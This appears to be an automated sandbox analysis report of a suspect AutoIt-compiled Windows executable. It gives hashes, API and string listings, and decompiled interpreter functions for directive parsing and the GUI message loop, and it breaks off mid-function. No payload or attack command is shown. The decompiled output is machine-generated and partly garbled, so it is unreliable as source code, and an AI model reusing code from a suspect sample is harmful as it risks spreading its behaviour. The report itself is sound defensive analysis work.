Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: LoadWindow$Icon__wcsicoll$CurrentDirectoryName$CreateFullPathShow$BrushClassColorCursorDebuggerExecuteFileForegroundImageMessageModuleNotifyPresentRegisterShellShell__memset_wcscpy
String ID: AutoIt$C:\Users\user\AppData\Roaming\22032878\xaso.fhr$It is a violation of the AutoIt EULA to attempt to reverse engineer this program.$runas
API String ID: 765478012-2546096124
Opcode ID: b7a36863c4766523194597d411e58d229d74ec1f59e2b2bf904f42f271302e2c
Instruction ID: 185187ecf29d1c3f4ea550bcaa87141258a0d9e70221f04bdaebd3f8c57f3029
Opcode Fuzzy Hash: b7a36863c4766523194597d411e58d229d74ec1f59e2b2bf904f42f271302e2c
Instruction Fuzzy Hash: AA412771A0938CABD704BBA2DC46BFD3778AB04710F541094F755632D2CBB49A84F762

Uniqueness

Uniqueness Score: -1.00%

Function 00EEEE30, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(uxtheme.dll,00EEEE15,00EED92E), ref: 00EEEE3B
GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 00EEEE4D

Strings

uxtheme.dll, xrefs: 00EEEE36
IsThemeActive, xrefs: 00EEEE47

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID: IsThemeActive$uxtheme.dll
API String ID: 2574300362-3542929980
Opcode ID: eba1a03d7409d2ca979b36e6e39853661fde3a9e2c5d88db96d8769a402ed550
Instruction ID: 4a744a4ecf2dd2ab980fa1e87659d7cae3d8577a63b2a65895b659868d8ad449
Opcode Fuzzy Hash: eba1a03d7409d2ca979b36e6e39853661fde3a9e2c5d88db96d8769a402ed550
Instruction Fuzzy Hash: B0D0C9B4900B4BDAD7301F22D80E60277E4BB10B49F105818E5A2A1360DBB5D484AA25

Uniqueness

Uniqueness Score: -1.00%

Function 00F1399B, Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00000000), ref: 00F139AC
FindFirstFileW.KERNELBASE(?,?), ref: 00F139BD
FindClose.KERNEL32(00000000), ref: 00F139D0

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: b72c74dbe93ab8ec639a9b31f71985a1e3e44f33ecc86d406d1f171a3cc20e19
Instruction ID: aa89eb937fdcb3c82735850a4ce8bc27a147967be5386c45484fd7383109b062
Opcode Fuzzy Hash: b72c74dbe93ab8ec639a9b31f71985a1e3e44f33ecc86d406d1f171a3cc20e19
Instruction Fuzzy Hash: B0E092328189189B8610AB78AC094E9779DDB06335F400B42FE38C21D0DBB09A9067D6

Uniqueness

Uniqueness Score: -1.00%

Function 00EE3C50, Relevance: 45.7, APIs: 14, Strings: 12, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00EE3C50(char* __ecx, void* __edx, void* __fp0, char _a4, intOrPtr _a8, intOrPtr* _a12, intOrPtr _a16) {
				char _v8196;
				void* __ebx;
				void* __edi;
				signed int _t44;
				intOrPtr _t45;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr _t51;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t62;
				intOrPtr _t64;
				signed int _t65;
				void* _t67;
				intOrPtr _t68;
				signed int _t72;
				intOrPtr _t76;
				signed int _t86;
				char* _t96;
				intOrPtr _t101;
				void* _t116;
				intOrPtr* _t117;
				void* _t119;
				short* _t120;
				signed int _t121;
				void* _t122;
				void* _t123;
				void* _t124;
				void* _t125;
				void* _t126;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t130;

				_t134 = __fp0;
				_t98 = __ecx;
				E00F02160(0x2004);
				_t120 = _a4;
				if( *_t120 == 0x23) {
					_t96 = __ecx;
					_t44 = E00EF333F(_t120, L"#notrayicon", 0xb);
					_t124 = _t123 + 0xc;
					__eflags = _t44;
					if(_t44 != 0) {
						_t45 = E00EF333F(_t120, L"#requireadmin", 0xd);
						_t125 = _t124 + 0xc;
						__eflags = _t45;
						if(_t45 != 0) {
							_t46 = E00EF333F(_t120, L"#NoAutoIt3Execute", 0xd);
							_t126 = _t125 + 0xc;
							__eflags = _t46;
							if(_t46 != 0) {
								_t47 = E00EF333F(_t120, L"#OnAutoItStartRegister", 0x16);
								_t127 = _t126 + 0xc;
								__eflags = _t47;
								if(__eflags != 0) {
									_t48 = E00EF333F(_t120, L"#include-once", 0xd);
									_t128 = _t127 + 0xc;
									__eflags = _t48;
									if(_t48 != 0) {
										_t49 = E00EF333F(_t120, L"#include", 8);
										_t129 = _t128 + 0xc;
										__eflags = _t49;
										if(_t49 != 0) {
											_t50 = E00EF333F(_t120, L"#comments-start", 0xf);
											_t130 = _t129 + 0xc;
											__eflags = _t50;
											if(__eflags == 0) {
												L28:
												_t117 = _a12;
												_a4 = 1;
												while(1) {
													_t51 = E00F4FD26(__eflags, _a16, _t120); // executed
													__eflags = _t51;
													if(__eflags == 0) {
														break;
													}
													 *_t117 =  *_t117 + 1;
													E00F24AA0(_t98, __eflags, _t120);
													E00F24A44(_t98, _t120);
													_t58 = E00EF333F(_t120, L"#comments-start", 0xf);
													_t130 = _t130 + 0xc;
													__eflags = _t58;
													if(__eflags == 0) {
														L36:
														_a4 = _a4 + 1;
														continue;
													}
													_t59 = E00EF333F(_t120, L"#cs", 3);
													_t130 = _t130 + 0xc;
													__eflags = _t59;
													if(__eflags == 0) {
														goto L36;
													}
													_t60 = E00EF333F(_t120, L"#comments-end", 0xd);
													_t130 = _t130 + 0xc;
													__eflags = _t60;
													if(_t60 == 0) {
														L34:
														_t62 = _a4 - 1;
														_a4 = _t62;
														__eflags = _t62;
														if(__eflags > 0) {
															continue;
														}
														return 1;
													}
													_t64 = E00EF333F(_t120, L"#ce", 3);
													_t130 = _t130 + 0xc;
													__eflags = _t64;
													if(__eflags != 0) {
														continue;
													}
													goto L34;
												}
												__eflags = _a4;
												if(__eflags <= 0) {
													L5:
													return 1;
												}
												E00F33F89(__eflags, _t134, _t96, _a8,  *_t117, L"Unterminated group of comments", _t120);
												return 0;
											}
											_t65 = E00EF333F(_t120, L"#cs", 3);
											_t130 = _t130 + 0xc;
											__eflags = _t65;
											if(__eflags != 0) {
												goto L5;
											}
											goto L28;
										}
										_push( &_v8196);
										_push(_t120 + 0x10);
										_push(_t96);
										_t67 = E00F24AE1();
										_t101 = _a8;
										__eflags = _t67 - 1;
										_t68 =  *_a12;
										if(__eflags != 0) {
											E00F33F89(__eflags, __fp0, _t96, _t101, _t68, L"Cannot parse #include", _t120);
											return 0;
										}
										_push(_t68);
										_push(_t120);
										_push(_t101);
										_push(E00EEF290(_t96,  &_v8196, _t116));
										_push( &_v8196);
										_push(_t96);
										_t72 = E00EE35F0( &_v8196, __fp0);
										__eflags = _t72;
										return 0 | _t72 != 0x00000000;
									}
									__eflags =  *((intOrPtr*)(_t96 + 0x20)) - _t48;
									if( *((intOrPtr*)(_t96 + 0x20)) <= _t48) {
										goto L5;
									}
									_t121 = 0;
									__eflags = 0;
									while(1) {
										_t76 = E00EF13CB(_t116,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x1c)) + _t121 * 4)))), _a8);
										_t128 = _t128 + 8;
										__eflags = _t76;
										if(_t76 == 0) {
											break;
										}
										_t121 = _t121 + 1;
										__eflags = _t121 -  *((intOrPtr*)(_t96 + 0x20));
										if(_t121 <  *((intOrPtr*)(_t96 + 0x20))) {
											continue;
										}
										return 1;
									}
									__eflags =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x2c)) + _t121 * 4)))) - 1;
									return ((0 |  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x2c)) + _t121 * 4)))) - 0x00000001 <= 0x00000000) - 0x00000001 & 0x00000003) + 1;
								}
								_t122 = E00EEF260(_t120 + 0x2c, __eflags);
								E00F24A44(_t98, _t122);
								E00F24AA0(_t98, __eflags, _t122);
								_t86 = E00EF10E1(_t122);
								__eflags =  *((short*)(_t122 + _t86 * 2 - 2)) - 0x22;
								if( *((short*)(_t122 + _t86 * 2 - 2)) != 0x22) {
									_push(_t122);
								} else {
									_t8 = _t122 + 2; // 0x2
									_t119 = _t8;
									 *((short*)(_t122 + _t86 * 2 - 2)) = 0;
									E00F24A44(0, _t119);
									E00F24AA0(0, __eflags, _t119);
									_push(_t119);
								}
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t96 + 4)))) + 8))))();
								_push(_t122);
								E00EF10FC();
								return 1;
							}
							 *((char*)(_t96 + 2)) = 1;
							return 1;
						}
						 *((char*)(_t96 + 1)) = 1;
						return 1;
					}
					 *_t96 = 1;
					goto L5;
				}
				return 3;
			}

0x00ee3c50
0x00ee3c50
0x00ee3c58
0x00ee3c5f
0x00ee3c67
0x00f08390
0x00f08392
0x00f08397
0x00f0839a
0x00f0839c
0x00f083b3
0x00f083b8
0x00f083bb
0x00f083bd
0x00f083d5
0x00f083da
0x00f083dd
0x00f083df
0x00f083f7
0x00f083fc
0x00f083ff
0x00f08401
0x00f0846b
0x00f08470
0x00f08473
0x00f08475
0x00f084cb
0x00f084d0
0x00f084d3
0x00f084d5
0x00f0853b
0x00f08540
0x00f08543
0x00f08545
0x00f0855f
0x00f0855f
0x00f08562
0x00f08569
0x00f0856e
0x00f08573
0x00f08575
0x00000000
0x00000000
0x00f08577
0x00f0857a
0x00f08580
0x00f0858d
0x00f08592
0x00f08595
0x00f08597
0x00f085ea
0x00f085ea
0x00000000
0x00f085ea
0x00f085a1
0x00f085a6
0x00f085a9
0x00f085ab
0x00000000
0x00000000
0x00f085b5
0x00f085ba
0x00f085bd
0x00f085bf
0x00f085d5
0x00f085d8
0x00f085d9
0x00f085dc
0x00f085de
0x00000000
0x00000000
0x00000000
0x00f085e0
0x00f085c9
0x00f085ce
0x00f085d1
0x00f085d3
0x00000000
0x00000000
0x00000000
0x00f085d3
0x00f085f2
0x00f085f6
0x00f083a1
0x00000000
0x00f083a1
0x00f0860a
0x00000000
0x00f0860f
0x00f0854f
0x00f08554
0x00f08557
0x00f08559
0x00000000
0x00000000
0x00000000
0x00f08559
0x00f084dd
0x00f084e1
0x00f084e2
0x00f084e3
0x00f084eb
0x00f084ee
0x00f084f0
0x00f084f2
0x00f08527
0x00000000
0x00f0852c
0x00f084f4
0x00f084f5
0x00f084f6
0x00f08502
0x00f08509
0x00f0850a
0x00f0850b
0x00f08512
0x00000000
0x00f08517
0x00f08477
0x00f0847a
0x00000000
0x00000000
0x00f08480
0x00f08480
0x00f08482
0x00f0848f
0x00f08494
0x00f08497
0x00f08499
0x00000000
0x00000000
0x00f0849b
0x00f0849c
0x00f0849f
0x00000000
0x00000000
0x00000000
0x00f084a1
0x00f084b3
0x00000000
0x00f084bd
0x00f0840b
0x00f0840e
0x00f08414
0x00f0841a
0x00f08422
0x00f08428
0x00f08443
0x00f0842a
0x00f0842c
0x00f0842c
0x00f08430
0x00f08435
0x00f0843b
0x00f08440
0x00f08440
0x00f0844e
0x00f08450
0x00f08451
0x00000000
0x00f08459
0x00f083e1
0x00000000
0x00f083e5
0x00f083bf
0x00000000
0x00f083c3
0x00f0839e
0x00000000
0x00f0839e
0x00000000

APIs

__wcsnicmp.LIBCMT ref: 00F08392

Strings

Unterminated group of comments, xrefs: 00F08602
#cs, xrefs: 00F08549, 00F0859B
#NoAutoIt3Execute, xrefs: 00F083CF
#ce, xrefs: 00F085C3
#comments-start, xrefs: 00F08535, 00F08587
#notrayicon, xrefs: 00F0838A
#OnAutoItStartRegister, xrefs: 00F083F1
#include-once, xrefs: 00F08465
Cannot parse #include, xrefs: 00F0851F
#include, xrefs: 00F084C5
#requireadmin, xrefs: 00F083AD
#comments-end, xrefs: 00F085AF

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __wcsnicmp
String ID: #NoAutoIt3Execute$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#requireadmin$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-3360698832
Opcode ID: 6ac99e1696f1f5d49a53d373360b91bdf0112449d2fc6dfec08ef5d4c8ebda08
Instruction ID: daa2d534cea6edea11c03d2c9610d352b75a72609ea2c383e2cc3bdfb393b5bb
Opcode Fuzzy Hash: 6ac99e1696f1f5d49a53d373360b91bdf0112449d2fc6dfec08ef5d4c8ebda08
Instruction Fuzzy Hash: 8661F971B41719A7E720EA30DC42FAB73989F14B50F145024FD45BB182EFB5EA42B6A2

Uniqueness

Uniqueness Score: -1.00%

Function 00EE9430, Relevance: 44.6, APIs: 22, Strings: 3, Instructions: 837
windowsleepCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00EE9430(struct tagMSG* __ecx, struct tagMSG* __edx, void* __fp0, signed int _a4) {
				struct tagMSG _v32;
				char _v48;
				char _v64;
				char _v80;
				char _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v116;
				char _v120;
				char _v124;
				char _v128;
				char _v132;
				char _v136;
				char _v140;
				char _v144;
				intOrPtr _v152;
				int _v156;
				char _v164;
				struct tagMSG _v188;
				struct HWND__* _v192;
				int _v196;
				struct HWND__* _v204;
				char _v208;
				struct HWND__* _v220;
				struct tagMSG _v244;
				char _v248;
				char _v252;
				long _v256;
				long _v260;
				struct HWND__* _v264;
				int _v268;
				struct HWND__* _v272;
				signed int _v276;
				char _v277;
				char _v288;
				int _v292;
				struct HWND__* _v300;
				struct HWND__* _v304;
				struct HWND__* _v308;
				struct tagMSG* _v312;
				char _v316;
				long _v324;
				signed int _v328;
				char _v329;
				struct HWND__* _v332;
				struct tagMSG* _v336;
				void* __ebx;
				void* __edi;
				signed int __esi;
				intOrPtr _t280;
				int _t282;
				intOrPtr _t283;
				struct tagMSG* _t285;
				struct HWND__* _t291;
				struct HWND__* _t295;
				intOrPtr* _t297;
				struct HWND__* _t299;
				struct HWND__* _t302;
				struct HWND__* _t307;
				struct HWND__* _t329;
				struct HWND__* _t331;
				struct HWND__* _t336;
				struct HWND__* _t337;
				struct HWND__* _t338;
				struct HWND__* _t342;
				struct HWND__* _t347;
				void* _t349;
				struct HWND__* _t355;
				struct tagMSG* _t358;
				long _t359;
				void* _t368;
				void* _t379;
				void* _t380;
				struct tagMSG* _t384;
				signed int _t385;
				void* _t400;
				signed int _t403;
				void* _t405;
				int _t406;
				void* _t407;
				struct HWND__* _t414;
				int _t415;
				struct HWND__* _t417;
				struct HWND__* _t423;
				intOrPtr _t431;
				struct HWND__* _t437;
				struct HWND__* _t442;
				intOrPtr _t460;
				void* _t462;
				struct tagMSG* _t467;
				signed int _t480;
				struct tagMSG* _t511;
				signed int _t545;
				void* _t549;
				struct tagMSG** _t552;
				struct HWND__** _t553;
				struct tagMSG* _t560;
				struct HWND__* _t564;
				struct HWND__* _t565;
				signed int _t566;
				signed int _t570;
				struct HWND__** _t572;
				void* _t598;

				_t606 = __fp0;
				_t511 = __edx;
				_t471 = __ecx;
				_t572 = (_t570 & 0xfffffff8) - 0x14c;
				_t533 = __ecx;
				_t280 =  *((intOrPtr*)(__ecx + 0xec));
				if(_t280 >= 0xf3c) {
					 *0xf774e2 = 0;
					E00F3E724(__fp0, __ecx, 0x9a, 0xffffffff);
					_t282 = 1;
					L33:
					return _t282;
				}
				_t283 = _t280 + 1;
				_v312 = __ecx;
				 *((intOrPtr*)(__ecx + 0xec)) = _t283;
				if(_t283 == 1) {
					E00EEFFF0(__ecx, __fp0);
				}
				_t533[0x51] = 0;
				if(_t533[0x3f] != 0) {
					L30:
					_t285 = _t533[0x3b];
					_t533[0x51] = 0;
					if(_t285 == 1) {
						E00EEFF70(_t471, _t533);
						__eflags = _t533[0x3f] - 1;
						if(__eflags == 0) {
							goto L32;
						}
						E00EE1C50(_t533, _t511, __eflags, _t606);
						LockWindowUpdate(0);
						DestroyWindow( *0xf77518); // executed
						_t291 = GetMessageW( &_v32, 0, 0, 0);
						__eflags = _t291;
						if(_t291 <= 0) {
							goto L32;
						}
						do {
							TranslateMessage( &_v32);
							DispatchMessageW( &_v32);
							_t295 = GetMessageW( &_v32, 0, 0, 0);
							__eflags = _t295;
						} while (_t295 > 0);
						goto L32;
					} else {
						_t533[0x3b] = _t285 - 1;
						L32:
						_t282 = 0;
						goto L33;
					}
				} else {
					while(_t533[0x51] == 0) {
						if( *0xf774e3 != 0) {
							L10:
							if( *0xf88624 != 0) {
								_t297 =  *0xf88628; // 0x0
								_t460 =  *_t297;
								E00F11D6C();
								_t299 = _t533[0x6c];
								_t545 = 0;
								__eflags = _t299;
								if(_t299 == 0) {
									L80:
									__eflags = _t545 - _t299;
									if(__eflags == 0) {
										goto L11;
									}
									E00F44D61( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t533[0x6b] + _t545 * 4)))) + 8)),  *((intOrPtr*)(_t533[0x6b] + _t545 * 4)), __eflags, _t533,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t533[0x6b] + _t545 * 4)))) + 8)),  &_v252,  &_v112,  &_v100,  &_v136);
									_t511 = _t533[0x6b];
									_t471 =  *((intOrPtr*)( *((intOrPtr*)(_t511 + _t545 * 4)))) + 0x18;
									_v276 =  &(_v276->i);
									E00EEDE00( &(_t533[0x53]),  *((intOrPtr*)( *((intOrPtr*)(_t511 + _t545 * 4)))) + 0x18);
									E00F5D2F8( *((intOrPtr*)( *((intOrPtr*)(_t511 + _t545 * 4)))) + 0x18, _t511, _t606, _t533,  &(_v276->i), 1, 0);
									L29:
									if(_t533[0x3f] == 0) {
										continue;
									}
									goto L30;
								}
								_t471 = _t533[0x6b];
								do {
									_t511 = _t471->hwnd;
									__eflags = _t511->hwnd;
									if(_t511->hwnd == 0) {
										goto L79;
									}
									_t511 = _t511->hwnd;
									__eflags = _t511->hwnd - _t460;
									if(_t511->hwnd == _t460) {
										goto L80;
									}
									L79:
									_t545 = _t545 + 1;
									_t471 =  &(_t471->message);
									__eflags = _t545 - _t533[0x6c];
								} while (_t545 < _t533[0x6c]);
								goto L80;
							}
							L11:
							if( *0xf774ec == 1) {
								__eflags =  *0xf774e3;
								if( *0xf774e3 != 0) {
									goto L12;
								}
								Sleep("true");
								goto L29;
							}
							L12:
							if(_t533[0x118] != 0) {
								__eflags =  *0xf8954c;
								if( *0xf8954c != 0) {
									goto L13;
								}
								_t467 = _t533[0x116];
								 *0xf8954c = 1;
								_v308 = 0;
								_v328 = _t467;
								while(1) {
									_t511 =  &_v328;
									 *_t572 = 0;
									_t329 = E00F207BC(_t511, _t471);
									__eflags = _t329;
									if(_t329 == 0) {
										goto L93;
									}
									_t347 = _t467->hwnd;
									__eflags =  *((char*)(_t347 + 0x11));
									if( *((char*)(_t347 + 0x11)) != 0) {
										L92:
										_t471 =  &_v324;
										E00F207CE( &_v328,  &_v324);
										_t467 = _v336;
										continue;
									}
									_v324 = _t347;
									_t349 = E00EEC870( *((intOrPtr*)(_t347 + 0x14)));
									__eflags = _t511;
									if(__eflags < 0) {
										goto L92;
									}
									if(__eflags > 0) {
										L91:
										_v308 =  &(_v308->i);
										 *((intOrPtr*)(_t467->hwnd + 0x14)) = timeGetTime();
										E00F44D61(_t467,  &_v248, __eflags, _t533, _t467,  &_v248,  &_v128,  &_v144,  &_v140);
										_t355 =  &(_v272->i);
										__eflags = _t355;
										_v272 = _t355;
										 *((char*)(_t467->hwnd + 0x10)) = 1;
										E00F5D2F8(_t467, _t467->hwnd, _t606, _t533, _t355, 1, 0);
										 *((char*)(_t467->hwnd + 0x10)) = 0;
										goto L92;
									}
									__eflags = _t349 -  *((intOrPtr*)(_v324 + 0x18));
									if(__eflags < 0) {
										goto L92;
									}
									goto L91;
								}
								while(1) {
									L93:
									_v328 = _t533[0x116];
									while(1) {
										L94:
										_t471 =  &_v328;
										 *_t572 = 0;
										_t331 = E00F207BC( &_v328,  &_v328);
										__eflags = _t331;
										if(_t331 == 0) {
											break;
										}
										_t511 = _v328;
										_t342 = _t511->hwnd;
										__eflags =  *((char*)(_t342 + 0x11));
										if( *((char*)(_t342 + 0x11)) != 0) {
											E00F32129( &(_t533[0x116]),  &_v328);
											L93:
											_v328 = _t533[0x116];
											continue;
										}
										_t471 =  &_v324;
										_t511 =  &_v328;
										E00F207CE(_t511,  &_v324);
									}
									__eflags = _v308;
									 *0xf8954c = 0;
									if(_v308 > 0) {
										goto L29;
									}
									goto L13;
								}
							}
							L13:
							if( *0xf8863c != 0) {
								__eflags = _t533[0x119] - 1;
								if(_t533[0x119] == 1) {
									goto L14;
								}
								__eflags =  *0xf88668 - 1;
								if( *0xf88668 == 1) {
									goto L14;
								}
								E00F27DD1( &_v244);
								while(1) {
									_t511 =  &_v244;
									_t302 = E00F31700(0xf88630, _t511);
									__eflags = _t302;
									if(_t302 == 0) {
										break;
									}
									__eflags = E00F14A5A( &(_v244.message));
									if(__eflags != 0) {
										continue;
									}
									_t307 = E00F44D61( &_v208, _v244.message, __eflags, _t533, _v244.message,  &_v208,  &_v132,  &_v120,  &_v104);
									__eflags = _t307;
									if(_t307 == 0) {
										continue;
									}
									_v300 = 0;
									_v292 = 1;
									_v288 = 0;
									E00EE9190(1,  &_v300);
									_v292 = 1;
									_v300 = _v244.hwnd;
									E00EE1D10(L"@GUI_CTRLID",  &_v96, __eflags);
									E00EE1BE0(2, 1,  &_v300,  &_v96);
									E00EE2480( &_v96);
									E00EE9190(L"@GUI_CTRLID",  &_v300);
									_v292 = 7;
									_v300 = _v244.pt;
									E00EE1D10(L"@GUI_WINHANDLE",  &_v64, __eflags);
									E00EE1BE0(2, 1,  &_v300,  &_v64);
									E00EE2480( &_v64);
									E00EE9190(L"@GUI_WINHANDLE",  &_v300);
									_t536 = L"@GUI_CTRLHANDLE";
									_t559 =  &_v48;
									_v292 = 7;
									_v300 = _v220;
									E00EE1D10(L"@GUI_CTRLHANDLE",  &_v48, __eflags);
									_t511 =  &_v300;
									E00EE1BE0(2, 1, _t511,  &_v48);
									E00EE2480( &_v48);
									_t560 = _v312;
									 *((char*)(_t560 + 0x464)) = 1;
									E00F5D2F8(_t559, _t511, _t606, _t560, _v208 + 1, 1, 0);
									 *((char*)(_t560 + 0x464)) = 0;
									_t553 =  &_v316;
									L108:
									E00EE9190(_t536, _t553);
									_t471 =  &(_v244.message);
									E00EE2480( &(_v244.message));
									_t533 = _v312;
									goto L29;
								}
								_t471 =  &(_v244.message);
								E00EE2480( &(_v244.message));
							}
							L14:
							if(E00EE9400(_t511, _t606, _t533) == 1) {
								goto L29;
							}
							if( *0xf887b0 != 0) {
								__eflags = _t533[0x119] - 1;
								if(_t533[0x119] == 1) {
									goto L16;
								}
								E00F27DD1( &_v244);
								while(1) {
									_t511 =  &_v244;
									_t437 = E00F33B3B(0xf88710, _t511);
									__eflags = _t437;
									if(_t437 == 0) {
										break;
									}
									__eflags = E00F14A5A( &(_v244.message));
									if(__eflags != 0) {
										continue;
									}
									_t442 = E00F44D61( &(_v188.pt), _v244.message, __eflags, _t533, _v244.message,  &(_v188.pt),  &_v108,  &_v124,  &_v116);
									__eflags = _t442;
									if(_t442 == 0) {
										continue;
									}
									_v204 = 0;
									_v196 = 1;
									_v192 = 0;
									E00EE9190(1,  &_v204);
									_v196 = 1;
									_t536 = L"@TRAY_ID";
									_v204 = _v244.hwnd;
									E00EE1D10(L"@TRAY_ID",  &_v80, __eflags);
									_t511 =  &_v204;
									E00EE1BE0(2, 1, _t511,  &_v80);
									E00EE2480( &_v80);
									_t552 = _v312;
									__eflags = _v188.pt + 1;
									_t552[0x119] = 1;
									E00F5D2F8(_v188.pt + 1, _t511, _t606, _t552, _v188.pt + 1, 1, 0);
									_t552[0x119] = 0;
									_t553 =  &_v220;
									goto L108;
								}
								_t471 =  &(_v244.message);
								E00EE2480( &(_v244.message));
							}
							L16:
							_t358 = _t533[0x3e];
							if(_t358 == 7) {
								_t511 = _t533[0x114];
								_t359 = WaitForSingleObject(_t511, "true");
								_v256 = _t359;
								__eflags = _t359 - 0x102;
								if(_t359 != 0x102) {
									GetExitCodeProcess(_t533[0x114],  &_v256);
									_t511 = _t533[0x114];
									CloseHandle(_t511);
									_v324 = _v256;
									_t471 = _t533 +  *_t533->message;
									E00EED620( &_v324, _t533 +  *_t533->message);
									_t533[0x51] = 1;
									_t533[0x3e] = 0;
								}
								goto L29;
							}
							if(_t358 == 8 || _t358 == 9) {
								Sleep("true");
								__eflags = _t533[0x112];
								if(_t533[0x112] == 0) {
									__eflags = 0;
									L127:
									_t511 = _t533[0x10e];
									_t471 =  &_v304;
									E00F23C1D(_t511,  &_v304,  &_v329);
									_t572 =  &(_t572[3]);
									__eflags = _t533[0x3e] - 9;
									if(_t533[0x3e] != 9) {
										__eflags = _v329 - 1;
										if(_v329 != 1) {
											goto L29;
										}
										_t462 = 0;
										__eflags = 0;
										L133:
										_t368 = _t533[0x115];
										_v260 = 0xcccccccc;
										__eflags = _t368 - _t462;
										if(_t368 != _t462) {
											GetExitCodeProcess(_t368,  &_v260);
											CloseHandle(_t533[0x115]);
											_t533[0x115] = _t462;
										}
										__eflags = _t533[0x3e] - 8;
										if(_t533[0x3e] != 8) {
											_t511 =  *_t533;
											_t471 = _v260;
											__eflags = _t533 + _t511->message;
											E00EE3F00(_t533 + _t511->message, _v260, _t462);
										} else {
											asm("fild dword [esp+0x2c]");
											__eflags = _v304;
											if(_v304 < 0) {
												_t606 = _t606 +  *0xf6cd00;
											}
											_t511 =  *_t533;
											_v324 = _t606;
											_t471 =  &_v324;
											E00F3742B(_t533 + _t511->message,  &_v324);
										}
										_t533[0x51] = 1;
										_t533[0x3e] = _t462;
										Sleep(_t533[0xbd]);
										goto L29;
									}
									__eflags = _v329;
									if(_v329 != 0) {
										_v329 = 0;
										goto L29;
									}
									_v329 = 1;
									goto L133;
								}
								_t379 = E00EEC870(_t533[0x113]);
								_t462 = 0;
								__eflags = _t511;
								if(__eflags < 0) {
									goto L127;
								}
								if(__eflags > 0) {
									L123:
									_t380 = _t533[0x115];
									__eflags = _t380 - _t462;
									if(_t380 != _t462) {
										CloseHandle(_t380);
										_t533[0x115] = _t462;
									}
									_t511 =  *_t533;
									_t471 = _t533 + _t511->message;
									_v324 = _t462;
									E00EED620( &_v324, _t533 + _t511->message);
									goto L66;
								}
								__eflags = _t379 - _t533[0x112];
								if(_t379 < _t533[0x112]) {
									goto L127;
								}
								goto L123;
							} else {
								if(_t358 == 2 || _t358 == 3 || _t358 == 4 || _t358 == 5 || _t358 == 6) {
									Sleep("true"); // executed
									__eflags = _t533[0xbc];
									if(_t533[0xbc] == 0) {
										L56:
										_t384 = _t533[0x3e];
										__eflags = _t384 - 3;
										if(_t384 < 3) {
											goto L29;
										}
										_t385 = _t384 - 3;
										__eflags = _t385 - 3;
										if(__eflags > 0) {
											goto L29;
										} else {
											switch( *((intOrPtr*)(_t385 * 4 +  &M00F0E113))) {
												case 0:
													__eax = E00F4F356(__ecx, __fp0, __edi, 1);
													goto L149;
												case 1:
													__eax = E00F4F356(__ecx, __fp0, __edi, 1);
													__esi = __eax;
													__eflags = __esi;
													if(__eflags < 0) {
